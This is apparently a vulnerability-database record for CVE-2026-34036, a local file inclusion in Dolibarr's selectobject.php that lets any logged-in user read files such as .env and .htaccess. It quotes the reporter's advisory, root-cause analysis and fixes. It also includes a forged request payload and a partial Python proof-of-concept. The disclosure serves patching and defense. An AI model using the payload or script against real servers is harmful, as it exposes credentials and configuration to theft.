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Response snapshot Oct 27, 2026, 00:32 UTC

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VulnerabilityCVE-2026-34036

Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php

Dolibarr Core (Tested on version 22.0.4) A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`.

Published Updated

At a glance

Exploited
Not known
Severity
6.5 Medium (CVSS 3.1)
Chance of exploitation
1.5% in the next 30 days
Sources
1 source

What to do

GitHub lists first patched versions: dolibarr/dolibarr: 23.0.0. Confirm the affected range and upgrade guidance in the exact advisory.

Read GitHub-reviewed advisory GHSA-2mfj-r695-5h9r (opens a new tab)

What happened

# Authenticated Local File Inclusion (LFI) via selectobject.php leading to sensitive data disclosure

## Target

Dolibarr Core (Tested on version 22.0.4)

## Summary

Continue reading

A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs…).

## Vulnerability Details

The vulnerability is caused by a critical design flaw in `/core/ajax/selectobject.php` where dynamic file inclusion occurs **before** any access control checks are performed, combined with a fail-open logic in the core ACL function.

- **Arbitrary File Inclusion BEFORE Authorization:** The endpoint parses the `objectdesc` parameter into a `$classpath`. If `fetchObjectByElement` fails (e.g., by providing a fake class like `A:conf/.htaccess:0`), the application falls back to `dol_include_once($classpath)` at **line 71**. At this point, the arbitrary file is included and its content is dumped into the HTTP response buffer.

This happens *before* the application checks any user permissions. - **Access Control Bypass (Fail-Open):** At **line 102**, the application finally attempts to verify permissions by calling `restrictedArea()`. Because the object creation failed, the `$features` parameter sent to `restrictedArea()` is empty (`''`). Inside `security.lib.

php`, if the `$features` parameter is empty, the access check block is completely skipped, leaving the `$readok` variable at `1`. Because of this secondary flaw, the script finishes cleanly with an HTTP 200 OK instead of throwing a 403 error.

This allows any authenticated user to bypass ACLs and include files. While PHP files cause a fatal error before their code is displayed, the contents of any text-based file (like `.htaccess`, `.env`, `.json`, `.sql`) are dumped into the HTTP response before the application crashes.

## Steps to Reproduce

- Log in to the Dolibarr instance with any user account (no specific permissions required). - Intercept or manually forge a GET request to the following endpoint:

``` GET /core/ajax/selectobject.php?outjson=0&htmlname=x&objectdesc=A:conf/.htaccess:0 ```

- Observe the HTTP response. The contents of the `conf/.htaccess` file will be reflected in the response body right before the PHP Fatal Error message. - *(Optional)* Run the attached Python PoC to automate the extraction:

``` python3 poc.py --url http://target.com --username ' ' --password ' ' --file conf/.htaccess ```

## Impact

An attacker with minimal access to the CRM can exfiltrate sensitive files from the server. This can lead to the disclosure of environment variables (`.env`), infrastructure configurations (`.htaccess`), installed packages versions, or even forgotten logs and database dumps, paving the way for further attacks.

## Suggested Mitigation

- **Input Validation & Whitelisting:** The `$classpath` must be strictly validated or whitelisted before being passed to `dol_include_once()`. - **Execution Flow Correction:** The file inclusion logic must never be executed before the user's authorization has been fully verified. - **Enforce Fail-Secure ACLs:** Modify `restrictedArea()` in `core/lib/security.lib.

php` so that if the `$features` parameter is empty, access is explicitly denied (`$readok = 0`) instead of allowed by default.

## Disclosure Policy & Assistance

The reporter is committed to coordinated vulnerability disclosure. This vulnerability, along with the provided PoC, will be kept strictly confidential until a patch is released and explicit authorization for public disclosure is given.

Should any further technical details, logs, or testing of the remediation once a patch has been developed be needed, the reporter is available to assist.

Thank you for the time and commitment to securing Dolibarr.

Best Regards, Vincent KHAYAT (cnf409)

## Video PoC

https://github.com/user-attachments/assets/4af80050-4329-4c88-8a54-e2b522deb844

## PoC Script

```python #!/usr/bin/env python3 """Dolibarr selectobject.php authenticated LFI PoC"""

import argparse import html import re import urllib.error import urllib.parse import urllib.request from http.cookiejar import CookieJar

LOGIN_MARKERS = ("Login @", "Identifiant @") LOGOUT_MARKERS = ("/user/logout.php", "Logout", "Mon tableau de bord")

def request( opener, base_url, method, path, params=None, data=None, timeout=15 ): url = f"{base_url.rstrip('/')}{path}" if params: url = f"{url}?{urllib.parse.urlencode(params)}" payload = urllib.parse.urlencode(data).encode("utf-8") if data else None req = urllib.request.Request(url, method=method.upper(), data=payload) req.add_header("User-Agent", "dolibarr-lfi-poc/1.0-securitytest-for-dolibarr") req.

add_header("Accept", "text/html,application/xhtml+xml") try: with opener.open(req, timeout=timeout) as resp: return resp.status, resp.read().decode("utf-8", errors="replace") except urllib.error.HTTPError as err: return err.code, err.read().decode("utf-8", errors="replace")

def extract_login_token(page): for pattern in ( r'name=["\']token["\']\s+value=["\']([^"\']*)["\']', r'name=["\']anti-csrf-newtoken["\']\s+content=["\']([^"\']*)["\']', ): match = re.search(pattern, page, flags=re.IGNORECASE) if match: return match.group(1) return ""

def looks_authenticated(body): return any(marker in body for marker in LOGOUT_MARKERS)

def clean_included_output(body): for marker in ( "

\n Warning", "

\r\n Warning", "

\n Fatal error", "

\r\n Fatal error", ): pos = body.find(marker) if pos != -1: return body[:pos].rstrip() return body.rstrip()

def login(opener, base_url, username, password): code, login_page = request(opener, base_url, "GET", "/") if code >= 400: return False, f"HTTP {code} on login page"

Affected package ranges reported by GitHub: dolibarr/dolibarr: < 23.0.0

Scores and how they were measured

CVSS base severity

6.5

Version 3.1As of

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

Measurement source (opens a new tab)

How bad it is if exploited. Not a prediction of exploitation or proof you are exposed.

EPSS probability

1.5%

Scored Percentile 73.5%

Model and measurement source (opens a new tab)

A model's estimate of exploitation in the next 30 days, not certainty or your own risk.

Related technology

Sources

  1. Primary source

    GitHub-reviewed advisory GHSA-2mfj-r695-5h9r (opens a new tab)

    The public advisory supplies the description, affected package/version ranges, and any listed CVSS metric. GitHub review is not local review.

    Published Checked

  2. Primary source

    GitHub public advisory API page (opens a new tab)

    The API page supplied GHSA-2mfj-r695-5h9r, its actual identifiers, source dates, and structured metrics.

    Published Date not suppliedChecked

  3. Primary source

    FIRST measured EPSS score (opens a new tab)

    Measured EPSS probability and percentile for CVE-2026-34036, scored 2026-10-26. This is a model estimate, not proof of exposure.

    Published Checked

Cite this record

For factual claims, cite the primary sources above; cite KEVWire for its compilation, dates, and classifications.

APA

KEVWire. (2026, October 26). Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php (CVE-2026-34036). https://kevwire.com/record/CVE-2026-34036

MLA

"Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php (CVE-2026-34036)." KEVWire, 26 Oct. 2026, kevwire.com/record/CVE-2026-34036.

Chicago

KEVWire. "Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php (CVE-2026-34036)." Last modified October 26, 2026. https://kevwire.com/record/CVE-2026-34036.

Evidence summary (plain text)

Dolibarr Core Discloses Sensitive Data via Authenticated Local File Inclusion in selectobject.php (Mar 27, 2026).
Dolibarr Core (Tested on version 22.0.4)

A Local File Inclusion (LFI) vulnerability has been discovered in the core AJAX endpoint `/core/ajax/selectobject.php`. By manipulating the `objectdesc` parameter and exploiting a fail-open logic flaw in the core access control function `restrictedArea()`, an authenticated user with no specific privileges can read the contents of arbitrary non-PHP files on the server (such as `.env`, `.htaccess`, configuration backups, or logs…).
CVSS 6.5 (version 3.1; evidence as of Oct 26, 2026; https://github.com/advisories/GHSA-2mfj-r695-5h9r).
EPSS 1.5% for the following 30 days, scored Oct 26, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-34036&date=2026-10-26).
Sources:
GitHub-reviewed advisory GHSA-2mfj-r695-5h9r: https://github.com/advisories/GHSA-2mfj-r695-5h9r
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-34036&date=2026-10-26
Record ID: CVE-2026-34036.
Record origin: Ingested record.
AI evidence: Not assessed.
Known exploitation: Not assessed.
Zero-day status: Not assessed. KEV membership alone does not establish zero-day status.
About this data

This record was ingested from a data source. Retrieved: Oct 26, 2026, 19:40 UTC. Ingestion is not an independent editorial investigation.

A CISA KEV listing documents known exploitation, not necessarily a zero-day; absence from the catalog does not prove a vulnerability has never been exploited.

Technology tags indicate possible relevance, not verified exposure. Confirm the affected product, version, and configuration against your own inventory; KEVWire does not scan your systems.

A personal reading checklist on this device, not verified remediation.

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